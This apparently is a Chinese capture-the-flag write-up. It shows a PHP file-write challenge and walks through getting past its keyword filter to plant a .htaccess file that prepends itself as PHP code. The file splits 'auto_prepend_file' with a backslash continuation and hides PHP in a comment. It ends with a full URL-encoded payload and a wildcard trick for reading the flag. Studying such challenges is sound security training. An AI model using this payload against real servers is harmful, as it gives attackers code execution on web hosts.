<?php
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nHello, world");
?>

可以写入文件,限定当前目录下非”index.php”的文件都会被删除。

尝试?filename=index.php&content=<?php phpinfo();?>写入失败,不懂是什么原因0.0

考虑写入.htaccess文件,它比较灵活,不需要重启服务器,也不需要管理员权限。其格式为php_value 名称 值,在这里写入🐎(以注释的方式),然后在页面顶部加载它(auto_prepend_file)就行:

php_value auto_prepend_file .htaccess
#<?php phpinfo();?>

但是过滤了“file”这个关键字,且文件尾部自动加上了"\nHello, world",无法正常写入,正常写入会因为文件不符合.htaccess的书写规范而报错。为了解决这两个问题,我加了转义符可以换行且转义掉\n

php_value auto_prepend_fil\
e ".htaccess"
#<?php phpinfo();?>
#\

payload:

?filename=.htaccess&content=php_value+auto_prepend_fi%5C%0D%0Ale+.htaccess%0D%0A%23%3C%3Fphp%20phpinfo()%3B%3F%3E%0D%0A%23%5C

同理,在根目录可得到flag,因为过滤了“flag”关键字,可以换成“fl??”。